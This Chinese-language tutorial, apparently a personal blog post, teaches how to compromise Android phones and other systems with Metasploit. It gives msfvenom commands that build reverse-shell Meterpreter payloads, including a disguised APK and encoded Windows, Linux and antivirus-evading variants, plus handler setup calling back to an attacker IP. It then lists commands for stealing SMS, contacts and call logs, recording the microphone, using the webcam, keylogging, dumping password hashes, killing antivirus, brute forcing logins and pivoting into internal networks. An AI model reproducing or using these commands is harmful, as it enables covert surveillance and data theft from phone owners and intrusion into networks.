MSF安卓手机渗透

lishihuan大约 8 分钟

MSF安卓手机渗透

黑客渗透流程

1、信息收集(资产盘点)

2、漏洞利用(攻击脚本)

3、获取权限

4、权限提升

5、权限维持

6、内网渗透

7、清除痕迹

安装MSF(windows / Linux / macos)、kali自带

建议:先副业兼职积累项目实战经验,然后骑驴看马寻找机会

MSF常见命令


命令用途
show显示模块
search搜索模块
info模块详细信息
use使用工具
set设置

MSF生成安卓APK(制作客户端)

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.63.139 lport=7777 R > ~/yufu.apk

MSF启动服务端

# 进入操作终端
msfconsole
# 使用监听
use exploit/multi/handler
# 生成payload
set payload android/meterpreter/reverse_tcp
# 设置IP
set lhost 43.139.52.212
# 设置端口号
set lport 7777
# 运行
run

使用示例

命令用途
app_list当前设备所有app
help查看所有命令
dump_sms生成手机短信文件
less xxx查看文件
dump_contacts获取联系人
dump_calllog获取通话记录
record_mic -d 10录音10秒
send_sms -d 17388979752 -t "发送内容"发送短信
geolocate获取定位地址
webcam_list显示当前设备摄像头
webcam_snap -i 1调用摄像头

核心命令

命令                   		说明
-------                   -----------
?                         帮助菜单
background                当前会话的背景
bg                        背景别名
bgkill                    杀死后台 meterpreter 脚本
bglist                    列出正在运行的后台脚本
bgrun                     作为后台线程执行 meterpreter 脚本
channel                   显示信息或控制活动通道
close                     关闭通道
detach                    分离 meterpreter 会话(对于 http/https)
disable_unicode_encoding  禁用 unicode 字符串的编码
enable_unicode_encoding   启用 unicode 字符串编码
exit                      终止 meterpreter 会话
get_timeouts              获取当前会话超时值
guid                      获取会话 GUID
help                      帮助菜单
info                      显示有关 Post 模块的信息
irb                    		在当前会话上打开交互式 Ruby shell
load                      加载一个或多个 meterpreter 扩展
machine_id                获取附加到会话的计算机的 MSF ID
pry                       在当前会话上打开 Pry 调试器
quit                      终止 meterpreter 会话
read                      从通道读取数据
resource                  运行存储在文件中的命令
run                       执行 meterpreter 脚本或 Post 模块
secure                    在会话上安全(重新)协商 TLV 数据包加密
sessions                  快速切换到另一个会话
set_timeouts              设置当前会话超时值
sleep                     强制 Meterpreter 进入安静状态,然后重新建立会话
transport                 管理运输机制
use                       使用“load”的已弃用别名
uuid                      获取当前会话的 UUID
write                     将数据写入通道

文件系统命令

命令       		 说明
-------       -----------
cat           将文件内容读取到屏幕上
cd            更改目录
checksum      检索文件的校验和
cp            将源复制到目标
del           删除指定文件
dir           列出文件(ls 的别名)
download      下载文件到文件夹
edit          编辑文件
getlwd        打印本地工作目录
getwd         打印工作目录
lcat          将本地文件的内容读取到屏幕上
lcd           更改本地工作目录
lls           列出本地文件
lpwd          打印本地工作目录
ls            列出文件
mkdir         新建目录
mv            将源移动到目的地
pwd           打印工作目录
rm            删除指定文件
rmdir         删除目录
search        搜索文件
upload        上传文件到文件夹

联网命令

Command       Description
-------       -----------
ifconfig      显示接口
ipconfig      显示接口
portfwd       将本地端口转发到远程服务
route         查看和修改路由表

系统命令

Command       Description
-------       -----------
execute       执行命令
getenv        获取一个或多个环境变量值
getpid        获取当前进程标识符
getuid        获取服务器运行的用户
localtime     显示目标系统本地日期和时间
pgrep         按名称过滤进程
ps            列出正在运行的进程
shell         进入系统命令 shell
sysinfo       获取有关远程系统的信息,例如操作系统

用户界面命令

Command       Description
-------       -----------
screenshare   实时观看远程用户桌面
screenshot    抓取交互式桌面的屏幕截图

网络摄像头命令

Command        Description
-------        -----------
record_mic     从默认麦克风录制音频 X 秒
webcam_chat    开始视频聊天
webcam_list    列出网络摄像头
webcam_snap    从指定的网络摄像头拍摄快照
webcam_stream  播放指定网络摄像头的视频流

Stdapi: 音频输出命令

Command       Description
-------       -----------
play          在目标系统上播放波形音频文件 (.wav)

Android Commands

Command           Description
-------           -----------
activity_start    从 Uri 字符串启动 Android 活动
check_root        检查设备是否已root
dump_calllog      获取通话记录
dump_contacts     获取联系人列表
dump_sms          获取短信
geolocate         使用地理定位获取当前经纬度
hide_app_icon     在启动器中隐藏应用程序图标
interval_collect  管理间隔收集功能
send_sms          从目标会话发送短信
set_audio_mode    设置振铃模式
sqlite_query      从存储中查询 SQLite 数据库
wakelock          启用/禁用唤醒锁
wlan_geolocate    使用 WLAN 信息获取当前经纬度

应用程序控制器命令

Command        Description
-------        -----------
app_install    请求安装apk文件
app_list       列出设备中已安装的应用程序
app_run        启动包名称的主要活动
app_uninstall  请求卸载应用程序

Metasploit模块划分

MSF是渗透测试领域最流行的渗透测试框架,它有以下几个模块:

辅 助 模 块 (Auxiliary,扫描器),扫描主机系统,寻找可用漏洞;

渗透攻击模块 (Exploits),选择并配置一个漏洞利用模块;基于某种漏洞所编写的用于获取系统权限的攻击脚本

攻击载荷模块 (Payloads),选择并配置一个攻击载荷模块;

后渗透攻击模块 (Post),用于内网渗透的各种操作;

编 码 器 模 块 (Encoders),选择编码技术,绕过杀软(或其他免杀方式);

所有模块位置:/usr/share/metasploit-framework/modules/

渗透步骤(Exploit)

search xxx		#搜索某个漏洞
use xxx			#使用某个漏洞利用模块
show options	#查看配置选项
set payload		#配置攻击载荷
exploit			#执行渗透攻击

参数摘要

reload_all		#从目录重载所有模块
back	#后退命令,移出当前上下文,用于模块切换
info	#目标和模块详细信息
check	#检查目标是否受某个漏洞影响

sessions		#会话管理
sessions -l		#列出所有会话
sessions -K		#终止所有会话
sessions -i id	#进入某个会话
sessions -v		#以详细模式列出会话
sessions -u		#在许多平台上将shell升级到meterpreter会话

show options	#显示可选选项
	 auxiliary	#显示所有辅助模块
	 exploits	#显示所有漏洞利用模块
	 payloads	#显示所有有效载荷
	 targets	#显示所有可用目标
	 advanced	#显示更多高级选项
	 encoders	#显示可用编码器列表

使用辅助模块(Auxiliary)

端口扫描

use auxiliary/scanner/portmap/portmap_amp
use auxiliary/scanner/portscan/ftpbounce
use auxiliary/scanner/portscan/tcp
use auxiliary/scanner/portscan/ack
use auxiliary/scanner/portscan/syn
use auxiliary/scanner/portscan/xmas

服务扫描

auxiliary/scanner/ssh/ssh_login		#SSH爆破
auxiliary/scanner/vnc/vnc_none_auth	#VNC空口令扫描
auxiliary/scanner/telnet/telnet_login#SSH爆破
auxiliary/scanner/smb/smb_version	#SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers	#SMB枚举
auxiliary/scanner/smb/smb_login		#SMB弱口令登录
auxiliary/admin/smb/psexec_command	#登录SMB且执行命令

auxiliary/scanner/mssql/mssql_ping	#MSSQL主机信息扫描
auxiliary/admin/mssql/mssql_enum	#MSSQL枚举
auxiliary/scanner/mysql/mysql_login	#MySQL弱口令扫描
auxiliary/admin/mysql/mysql_enum	#MySQL枚举

攻击载荷和编码(Payloads && Encoders) #open in new window

MSF可以用以下方式,生成payload和编码

use windows/meterpreter_reverse_http

-E   强制编码
-e   要使用的编码器模块的名称
-f   输出文件名(否则为stdout)
-t   输出格式: raw,ruby,rb,perl,pl,c,java,dll,exe,elf,vbs,asp,war等
-b   要避免的字符列表: '\x00\xff'

Windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=Kali监听端口 -f exe > msf.exe

参数选项:
-p			指定的payload
-e 			编码器,x86/shikata_ga_nai
-i			迭代器,对有效载荷的编码次数
-f			输出文件的格式,exe、dll、raw

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.1.1.15 LPORT=6666 -f elf > msf.elf

监听反弹shell

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.1.1.15
msf5 exploit(multi/handler) > set LPORT 6666
msf5 exploit(multi/handler) > run

Meterpreter用例

刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定

getpid			#查看当前Meterpreter Shell的进程号
ps				#获取目标机正运行的进程
migrate 476		#将shell迁移到PID为786的进程中

命令摘要

pwd、ls、cd
getuid		#查看当前权限
getsystem	#获得系统管理员权限(要本地管理员权限运行)
hashdump	#抓哈希密码
sysinfo		#查看系统信息
idletim     #查看目标系统已运行时间
route		#查看目标机完整网络设置
shell		#进入目标机shell,exit退出she
background	#将meterpreter隐藏在后台

upload ./1.txt c:\\1.txt		#上传文件
download c:\1.txt ./			#下载文件
search -f *.txt -d c://			#搜索文件

keyscan_start	#启动键盘记录
keyscan_stop	#停止键盘记录
keyscan_dump	#转储键盘记录的内容
screenshot		#抓取截屏
webcam_list		#摄像头列表
webcam_snap		#摄像头拍照
webcam_stream	#抓取视频

#Kali-Linux下登录远程桌面
sudo rdesktop -f 目标IP

route add IP 子网掩码    #添加路由,先background

后渗透模块(Post)

run post/windows/gather/checkvm		#检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav		#关闭杀软
run post/windows/manage/enable_rdp	#开启目标远程桌面
run post/windows/gather/enum_logged_on_users	#列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications		#列举应用程序
run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码

MSF官方后渗透模块参考:https://www.offensive-security.com/metasploit-unleashed/post-module-reference/open in new window

网络穿透

拿到反向shell之后,获取目标网络信息

meterpreter > run get_local_subnets

使用autoroute模块添加路由

meterpreter > run autoroute -s 10.0.0.0/255.0.0.0
meterpreter > run autoroute -p		#列出添加了路由规则的存活session

添加完成后返回上一层,这里一定要保证添加了路由规则的sessions的存活,如果sessions掉了对应的路由规则也就失效了

添加完成后使用ms17_010的扫描脚本进行目标内网的扫描